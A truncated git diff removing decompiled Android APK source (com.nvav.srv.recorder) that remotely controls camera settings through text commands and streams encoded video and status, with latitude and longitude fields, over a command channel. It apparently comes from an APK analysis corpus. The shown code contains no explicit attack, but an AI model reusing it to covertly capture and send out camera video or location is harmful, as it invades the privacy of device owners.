this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left; - point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top; - return point; - } - - private String ZoomNew(String str) { - try { - float parseInt = ((Integer.parseInt(str) * (((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue() - 1.0f)) / 100.0f) + 1.0f; - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - int width = rect.width() / 2; - int height = rect.height() / 2; - int width2 = (int) ((rect.width() * 0.5f) / parseInt); - int height2 = (int) ((rect.height() * 0.5f) / parseInt); - Rect rect2 = new Rect(width - width2, height - height2, width + width2, height + height2); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect2); - setParams(); - return String.format("Zoom x%f (%dx%d) %s [%d,%d,%d,%d]", Float.valueOf(parseInt), Integer.valueOf(rect2.centerX()), Integer.valueOf(rect2.centerY()), str, Integer.valueOf(rect2.left), Integer.valueOf(rect2.top), Integer.valueOf(rect2.right), Integer.valueOf(rect2.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String ZoomPlus(String str, double d) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - float floatValue = ((Float) this.properties.get(CameraCharacteristics.SCALER_AVAILABLE_MAX_DIGITAL_ZOOM)).floatValue(); - Rect rect2 = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - String[] split = str.split(","); - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int round = (int) Math.round(rect2.width() * d); - int round2 = (int) Math.round(rect2.height() * d); - if (round < rect.width() / floatValue) { - round = (int) (rect.width() / floatValue); - } - if (round2 < rect.height() / floatValue) { - round2 = (int) (rect.height() / floatValue); - } - Rect rect3 = new Rect(point.x - (round / 2), point.y - (round2 / 2), point.x + (round / 2), point.y + (round2 / 2)); - if (rect3.left < 0) { - rect3.right -= rect3.left; - rect3.left = 0; - } - if (rect3.top < 0) { - rect3.bottom -= rect3.top; - rect3.top = 0; - } - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, rect3); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", Integer.valueOf((int) Math.round((rect.width() * rect.height()) / (rect3.width() * rect3.height()))), Integer.valueOf(rect3.centerX()), Integer.valueOf(rect3.centerY()), Integer.valueOf(rect3.left), Integer.valueOf(rect3.top), Integer.valueOf(rect3.right), Integer.valueOf(rect3.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String BrightPlus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() + 1; - if (intValue > 4) { - intValue = 4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String BrightMinus() { - String str = ""; - try { - int intValue = ((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue() - 1; - if (intValue < -4) { - intValue = -4; - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(intValue)); - str = String.format("Brightness %d", Integer.valueOf(intValue)); - setParams(); - return str; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String WhileBlack() { - String str = ""; - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(((Integer) this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue() == 0 ? 1 : 0)); - str = "Black and white."; - setParams(); - return "Black and white."; - } catch (Exception e) { - this.comand.WriteErr(e); - return str; - } - } - - private String ZoomMinus(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, new Rect(0, 0, rect.right, rect.bottom)); - setParams(); - return String.format("Zoom x%d (%dx%d) [%d,%d,%d,%d]", 1, Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(rect.left), Integer.valueOf(rect.top), Integer.valueOf(rect.right), Integer.valueOf(rect.bottom)); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Monochrom(String str) { - int i = !str.equals("0"); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(i)); - setParams(); - return i == 1 ? "Monochrom enable." : "Monochrom disable."; - } - - private Rect getRect(String str) { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - String[] split = str.split(","); - int parseInt = Integer.parseInt(split[2]); - int parseInt2 = Integer.parseInt(split[3]); - if (parseInt > rect.width()) { - parseInt = rect.width(); - } - if (parseInt2 > rect.height()) { - parseInt2 = rect.height(); - } - Point point = toThis(new Point(Integer.parseInt(split[0]), Integer.parseInt(split[1]))); - int i = parseInt / 2; - int i2 = parseInt2 / 2; - Rect rect2 = new Rect(point.x - i, point.y - i2, point.x + i, point.y + i2); - if (rect2.top < rect.top) { - rect2.bottom -= rect2.top - rect.top; - rect2.top = rect.top; - } - if (rect2.left < rect.left) { - rect2.right -= rect2.left - rect.left; - rect2.left = rect.left; - } - if (rect2.bottom > rect.bottom) { - rect2.bottom = rect.bottom; - } - if (rect2.right > rect.right) { - rect2.right = rect.right; - } - return rect2; - } - - private String AF(String str) { - try { - Rect rect = (Rect) this.properties.get(CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 2); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - setParams(); - Rect rect2 = getRect(str); - if (rect.contains(rect2)) { - rect = rect2; - } - MeteringRectangle[] meteringRectangleArr = {new MeteringRectangle(rect, 0)}; - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, meteringRectangleArr); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 1); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, 1); - setParams(); - return String.format("AF: %dx%d [%d,%d,%d,%d,%d]", Integer.valueOf(rect.centerX()), Integer.valueOf(rect.centerY()), Integer.valueOf(meteringRectangleArr[0].getX()), Integer.valueOf(meteringRectangleArr[0].getY()), Integer.valueOf(meteringRectangleArr[0].getWidth()), Integer.valueOf(meteringRectangleArr[0].getHeight()), Integer.valueOf(meteringRectangleArr[0].getMeteringWeight())); - } catch (Exception e) { - this.comand.WriteErr(e); - return ""; - } - } - - private String Focus(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, 0); - float parseFloat = (Float.parseFloat(str) * ((Float) this.properties.get(CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE)).floatValue()) / 1000.0f; - this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(parseFloat)); - setParams(); - return String.format("Focus: %f", Float.valueOf(parseFloat)); - } - - private String Sensitivity(String str) { - int parseInt = Integer.parseInt(str); - Range range = (Range) this.properties.get(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE); - int intValue = ((Integer) range.getLower()).intValue() + ((parseInt * (((Integer) this.properties.get(CameraCharacteristics.SENSOR_MAX_ANALOG_SENSITIVITY)).intValue() - ((Integer) range.getLower()).intValue())) / 100); - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(intValue)); - setParams(); - return String.format("Sensitivity: %d", Integer.valueOf(intValue)); - } - - private String ISO(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(Integer.parseInt(str))); - setParams(); - return String.format("ISO: %s", str); - } - - private String FPS(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("FPS: %s", str); - } - - private String Exposure(String str) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 0); - this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, Long.valueOf(1000000000 / Integer.parseInt(str))); - setParams(); - return String.format("Exposure: %s", str); - } - - private String AE() { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, 1); - setParams(); - return "Enable AE"; - } - - private String UserMode(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 0); - setParams(); - int parseInt = Integer.parseInt(trim); - if (parseInt == 0) { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 1); - } else { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_MODE, 2); - } - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_SCENE_MODE, Integer.valueOf(parseInt)); - setParams(); - return String.format("User mode: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String ABW(String str) { - String trim = str.trim(); - if (trim.length() > 0) { - try { - this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AWB_MODE, Integer.valueOf(Integer.parseInt(trim) + 1)); - setParams(); - return String.format("ABW: %s", trim); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - return ""; - } - - private String Test(String str) { - try { - this.iTest = 0; - return "test"; - } catch (Exception e) { - this.comand.WriteErr(e); - return "test"; - } - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public String SetCommand(String str, String str2) { - return str.equals("ZoomPlus") ? ZoomPlus(str2, 0.75d) : str.equals("Test") ? Test(str2) : str.equals("ZoomMinus") ? ZoomMinus(str2) : str.equals("Zoom") ? ZoomNew(str2) : str.equals("Monochrom") ? Monochrom(str2) : str.equals("WhileBlack") ? WhileBlack() : str.equals("BrightPlus") ? BrightPlus() : str.equals("BrightMinus") ? BrightMinus() : str.equals("Move") ? ZoomPlus(str2, 1.0d) : str.equals("AF") ? AF(str2) : str.equals("Focus") ? Focus(str2) : str.equals("ABW") ? ABW(str2) : str.equals("User_Mode") ? UserMode(str2) : str.equals("Exposure") ? Exposure(str2) : str.equals("Sensitivity") ? Sensitivity(str2) : str.equals("AE") ? AE() : str.equals("SetISO") ? ISO(str2) : str.equals("SetFPS") ? FPS(str2) : str; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MinISO() { - return this.MinISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int MaxISO() { - return this.MaxISO; - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public int FPS() { - return this.FPS; - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraASUSn.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraASUSn.java deleted file mode 100644 index 8bcda8e..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraASUSn.java +++ /dev/null @@ -1,763 +0,0 @@ -package com.nvav.srv.recorder; - -import android.graphics.Point; -import android.graphics.Rect; -import android.hardware.camera2.CameraAccessException; -import android.hardware.camera2.CameraCaptureSession; -import android.hardware.camera2.CameraCharacteristics; -import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession; -import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraManager; -import android.hardware.camera2.CaptureFailure; -import android.hardware.camera2.CaptureRequest; -import android.hardware.camera2.CaptureResult; -import android.hardware.camera2.TotalCaptureResult; -import android.hardware.camera2.params.MeteringRectangle; -import android.hardware.camera2.params.StreamConfigurationMap; -import android.media.MediaCodec; -import android.media.MediaCrypto; -import android.media.MediaFormat; -import android.os.Handler; -import android.os.HandlerThread; -import android.util.Log; -import android.util.Range; -import android.util.Size; -import android.view.Surface; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Objects; -import java.util.function.Predicate; -import java.util.stream.Stream; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CameraASUSn implements ICameraRecord { - static boolean Restarting; - String[] CamResFPS; - Size MaxSize; - int aec; - int caem; - int cafm; - MeteringRectangle[] cafr; - int caft; - int cem; - Comand comand; - private byte[] config; - MediaFormat format; - private String id; - float lfd; - CameraDevice mCamera; - CameraManager mCameraManager; - Handler mHandler; - MediaCodec mMediaCodec; - List mOutputSurfaces; - CaptureRequest.Builder mRecordingRequestBuilder; - private Surface mRecordingSurface; - private CameraCaptureSession mSession; - private CameraConstrainedHighSpeedCaptureSession mSessionHI; - HandlerThread mThread; - CameraCharacteristics properties; - Rect rect; - Long set; - Long sfd; - Speek speek; - int ss; - private int countSend = 0; - public int MinISO = 0; - public int MaxISO = 0; - public int FPS = 30; - int endkey = 0; - int outbyte = 0; - short outFPS = 0; - long timebyte = System.currentTimeMillis(); - private final MediaCodec.Callback mediaCodecCallback = new MediaCodec.Callback() { // from class: com.nvav.srv.recorder.CameraASUSn.1 - @Override // android.media.MediaCodec.Callback - public void onInputBufferAvailable(MediaCodec mediaCodec, int i) { - } - - @Override // android.media.MediaCodec.Callback - public void onOutputBufferAvailable(MediaCodec mediaCodec, int i, MediaCodec.BufferInfo bufferInfo) { - try { - ByteBuffer outputBuffer = CameraASUSn.this.mMediaCodec.getOutputBuffer(i); - if (outputBuffer != null && bufferInfo.size != 0) { - CameraASUSn.this.outbyte += bufferInfo.size; - CameraASUSn cameraASUSn = CameraASUSn.this; - cameraASUSn.outFPS = (short) (cameraASUSn.outFPS + 1); - if (System.currentTimeMillis() - CameraASUSn.this.timebyte > 1000) { - CameraASUSn.this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(CameraASUSn.this.outFPS).putInt(CameraASUSn.this.outbyte).putInt((int) (System.currentTimeMillis() - CameraASUSn.this.timebyte)).array()); - CameraASUSn.this.outbyte = 0; - CameraASUSn.this.outFPS = (short) 0; - CameraASUSn.this.timebyte = System.currentTimeMillis(); - } - outputBuffer.position(bufferInfo.offset); - outputBuffer.limit(bufferInfo.offset + bufferInfo.size); - byte[] bArr = new byte[bufferInfo.size]; - outputBuffer.get(bArr); - if (bufferInfo.flags == 2) { - try { - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byteArrayOutputStream.write(3); - byteArrayOutputStream.write(2); - byteArrayOutputStream.write(bArr); - byteArrayOutputStream.flush(); - CameraASUSn.this.config = byteArrayOutputStream.toByteArray(); - byteArrayOutputStream.close(); - } catch (IOException e) { - CameraASUSn.this.comand.WriteErr(e); - } - } else { - try { - CameraASUSn.access$108(CameraASUSn.this); - ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream(); - byteArrayOutputStream2.write(3); - if (bufferInfo.flags == 1) { - CameraASUSn cameraASUSn2 = CameraASUSn.this; - cameraASUSn2.endkey = cameraASUSn2.countSend; - CameraASUSn.this.comand.WriteOut(CameraASUSn.this.config); - byteArrayOutputStream2.write(1); - ByteBuffer allocate = ByteBuffer.allocate(4); - allocate.putInt(CameraASUSn.this.endkey); - byteArrayOutputStream2.write(allocate.array()); - } else { - byteArrayOutputStream2.write(0); - ByteBuffer allocate2 = ByteBuffer.allocate(8); - allocate2.putInt(CameraASUSn.this.countSend); - allocate2.putInt(CameraASUSn.this.endkey); - byteArrayOutputStream2.write(allocate2.array()); - } - byteArrayOutputStream2.write(bArr); - byteArrayOutputStream2.flush(); - CameraASUSn.this.comand.WriteOut(byteArrayOutputStream2.toByteArray()); - byteArrayOutputStream2.close(); - } catch (IOException e2) { - CameraASUSn.this.comand.WriteErr(e2); - } - } - } - CameraASUSn.this.mMediaCodec.releaseOutputBuffer(i, true); - } catch (ArithmeticException e3) { - CameraASUSn.this.comand.WriteErr(e3); - CameraASUSn.this.mMediaCodec.reset(); - } catch (IllegalStateException e4) { - CameraASUSn.this.comand.WriteErr(e4); - CameraASUSn.Restarting = true; - } - } - - @Override // android.media.MediaCodec.Callback - public void onError(MediaCodec mediaCodec, MediaCodec.CodecException codecException) { - CameraASUSn.this.comand.WriteOut("result=MediaCodecf onError."); - } - - @Override // android.media.MediaCodec.Callback - public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) { - CameraASUSn.this.mMediaCodec.getOutputFormat(); - CameraASUSn.this.comand.WriteOut("result=MediaCodecf onOutputFormatChanged."); - } - }; - private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUSn.2 - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onOpened(CameraDevice cameraDevice) { - CameraASUSn.this.comand.WriteOut("result=Camera open."); - try { - CameraASUSn.this.mCamera = cameraDevice; - CameraASUSn cameraASUSn = CameraASUSn.this; - cameraASUSn.properties = cameraASUSn.mCameraManager.getCameraCharacteristics(CameraASUSn.this.mCamera.getId()); - Size[] outputSizes = ((StreamConfigurationMap) CameraASUSn.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class); - CameraASUSn.this.MaxSize = null; - for (Size size : outputSizes) { - if (size.getWidth() == Integer.parseInt(CameraASUSn.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraASUSn.this.CamResFPS[3])) { - CameraASUSn.this.MaxSize = size; - } - } - CameraASUSn.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraASUSn.this.MaxSize.getWidth()), Integer.valueOf(CameraASUSn.this.MaxSize.getHeight()))); - CameraASUSn cameraASUSn2 = CameraASUSn.this; - cameraASUSn2.format = MediaFormat.createVideoFormat("video/avc", cameraASUSn2.MaxSize.getWidth(), CameraASUSn.this.MaxSize.getHeight()); - CameraASUSn.this.format.setInteger("color-format", 2130708361); - CameraASUSn cameraASUSn3 = CameraASUSn.this; - cameraASUSn3.FPS = Integer.parseInt(cameraASUSn3.CamResFPS[5]); - CameraASUSn.this.format.setInteger("bitrate", Integer.parseInt(CameraASUSn.this.CamResFPS[0])); - CameraASUSn.this.format.setInteger("frame-rate", CameraASUSn.this.FPS); - CameraASUSn.this.format.setInteger("i-frame-interval", 1); - CameraASUSn.this.comand.WriteOut(String.format("result=BitRate:%s", CameraASUSn.this.CamResFPS[0])); - CameraASUSn.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraASUSn.this.format.getInteger("bitrate")))); - CameraASUSn.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraASUSn.this.format.getInteger("frame-rate")))); - CameraASUSn.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc"); - CameraASUSn.this.mMediaCodec.configure(CameraASUSn.this.format, (Surface) null, (MediaCrypto) null, 1); - CameraASUSn.this.mMediaCodec.setCallback(CameraASUSn.this.mediaCodecCallback); - CameraASUSn cameraASUSn4 = CameraASUSn.this; - cameraASUSn4.mRecordingSurface = cameraASUSn4.mMediaCodec.createInputSurface(); - CameraASUSn.this.mOutputSurfaces = new ArrayList(); - CameraASUSn.this.mOutputSurfaces.add(CameraASUSn.this.mRecordingSurface); - if (Integer.valueOf(CameraASUSn.this.CamResFPS[5]).intValue() > 30) { - CameraASUSn.this.mCamera.createConstrainedHighSpeedCaptureSession(CameraASUSn.this.mOutputSurfaces, CameraASUSn.this.sessionListener, CameraASUSn.this.mHandler); - } else { - CameraASUSn.this.mCamera.createCaptureSession(CameraASUSn.this.mOutputSurfaces, CameraASUSn.this.sessionListener, CameraASUSn.this.mHandler); - } - CameraASUSn.this.mMediaCodec.start(); - } catch (Exception e) { - CameraASUSn.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onClosed(CameraDevice cameraDevice) { - CameraASUSn.this.comand.WriteOut("result=Camera close."); - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onDisconnected(CameraDevice cameraDevice) { - CameraASUSn.this.comand.WriteOut("result=Camera disconnected."); - CameraASUSn.Restarting = true; - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onError(CameraDevice cameraDevice, int i) { - CameraASUSn.this.comand.WriteOut("result=Camera error."); - CameraASUSn.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i))); - } - }; - CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUSn.3 - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigured(CameraCaptureSession cameraCaptureSession) { - try { - CameraASUSn.this.comand.WriteOut("result=Session configure."); - if (Integer.valueOf(CameraASUSn.this.CamResFPS[5]).intValue() > 30) { - CameraASUSn.this.mSessionHI = (CameraConstrainedHighSpeedCaptureSession) cameraCaptureSession; - } else { - CameraASUSn.this.mSession = cameraCaptureSession; - } - CameraASUSn cameraASUSn = CameraASUSn.this; - cameraASUSn.mRecordingRequestBuilder = cameraASUSn.mCamera.createCaptureRequest(3); - CameraASUSn.this.mRecordingRequestBuilder.addTarget(CameraASUSn.this.mRecordingSurface); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraASUSn.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraASUSn.this.CamResFPS[5])))); - CameraASUSn.this.setParams(); - if (CameraASUSn.Restarting) { - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraASUSn.this.rect); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraASUSn.this.aec)); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraASUSn.this.cem)); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraASUSn.this.cafr); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraASUSn.this.ss)); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraASUSn.this.sfd); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraASUSn.this.set); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUSn.this.cafm)); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraASUSn.this.caem)); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraASUSn.this.caft)); - CameraASUSn.this.setParams(); - } - } catch (Exception e) { - CameraASUSn.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onActive(CameraCaptureSession cameraCaptureSession) { - CameraASUSn.this.comand.WriteOut("result=Session active."); - Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onClosed(CameraCaptureSession cameraCaptureSession) { - CameraASUSn.this.comand.WriteOut("result=Session closed."); - try { - CameraASUSn cameraASUSn = CameraASUSn.this; - cameraASUSn.rect = (Rect) cameraASUSn.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - CameraASUSn cameraASUSn2 = CameraASUSn.this; - cameraASUSn2.aec = ((Integer) cameraASUSn2.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue(); - CameraASUSn cameraASUSn3 = CameraASUSn.this; - cameraASUSn3.cem = ((Integer) cameraASUSn3.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue(); - CameraASUSn cameraASUSn4 = CameraASUSn.this; - cameraASUSn4.cafr = (MeteringRectangle[]) cameraASUSn4.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS); - CameraASUSn cameraASUSn5 = CameraASUSn.this; - cameraASUSn5.cafm = ((Integer) cameraASUSn5.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue(); - CameraASUSn cameraASUSn6 = CameraASUSn.this; - cameraASUSn6.caft = ((Integer) cameraASUSn6.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue(); - CameraASUSn cameraASUSn7 = CameraASUSn.this; - cameraASUSn7.lfd = ((Float) cameraASUSn7.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue(); - CameraASUSn cameraASUSn8 = CameraASUSn.this; - cameraASUSn8.caem = ((Integer) cameraASUSn8.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue(); - CameraASUSn cameraASUSn9 = CameraASUSn.this; - cameraASUSn9.ss = ((Integer) cameraASUSn9.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue(); - CameraASUSn cameraASUSn10 = CameraASUSn.this; - cameraASUSn10.sfd = (Long) cameraASUSn10.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION); - CameraASUSn cameraASUSn11 = CameraASUSn.this; - cameraASUSn11.set = (Long) cameraASUSn11.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME); - } catch (Exception e) { - CameraASUSn.this.comand.WriteErr(e); - } - try { - CameraASUSn.this.mCamera.close(); - } catch (Exception e2) { - CameraASUSn.this.comand.WriteErr(e2); - } - try { - if (CameraASUSn.this.mMediaCodec != null) { - CameraASUSn.this.mMediaCodec.stop(); - CameraASUSn.this.mMediaCodec.release(); - } - } catch (Exception e3) { - CameraASUSn.this.comand.WriteErr(e3); - } - try { - if (CameraASUSn.this.mRecordingSurface != null) { - CameraASUSn.this.mRecordingSurface.release(); - CameraASUSn.this.mRecordingSurface = null; - } - } catch (Exception e4) { - CameraASUSn.this.comand.WriteErr(e4); - } - try { - CameraASUSn.this.mOutputSurfaces.clear(); - CameraASUSn.this.mOutputSurfaces = null; - } catch (Exception e5) { - CameraASUSn.this.comand.WriteErr(e5); - } - CameraASUSn.this.mMediaCodec = null; - CameraASUSn.this.mCamera = null; - try { - CameraASUSn.this.mRecordingRequestBuilder.removeTarget(CameraASUSn.this.mRecordingSurface); - } catch (Exception e6) { - CameraASUSn.this.comand.WriteErr(e6); - } - try { - Thread.sleep(750L); - } catch (Exception e7) { - CameraASUSn.this.comand.WriteErr(e7); - } - try { - CameraASUSn.this.mThread.interrupt(); - } catch (Exception e8) { - CameraASUSn.this.comand.WriteErr(e8); - } - if (CameraASUSn.Restarting) { - try { - CameraASUSn.this.StartRestart(); - } catch (Exception e9) { - CameraASUSn.this.comand.WriteErr(e9); - } - } - if (CameraASUSn.Restarting) { - try { - Thread.sleep(250L); - } catch (Exception e10) { - CameraASUSn.this.comand.WriteErr(e10); - } - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUSn.this.cafm)); - CameraASUSn.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraASUSn.this.lfd)); - CameraASUSn.Restarting = false; - CameraASUSn.this.setParams(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onReady(CameraCaptureSession cameraCaptureSession) { - CameraASUSn.this.comand.WriteOut("result=Session ready."); - Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) { - CameraASUSn.this.comand.WriteOut("result=Session failed configure."); - } - }; - private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraASUSn.4 - long time_out_param = System.currentTimeMillis(); - double lat = 0.0d; - double lon = 0.0d; - long FrameNumber = 0; - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) { - if (System.currentTimeMillis() - this.time_out_param > 200) { - String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) 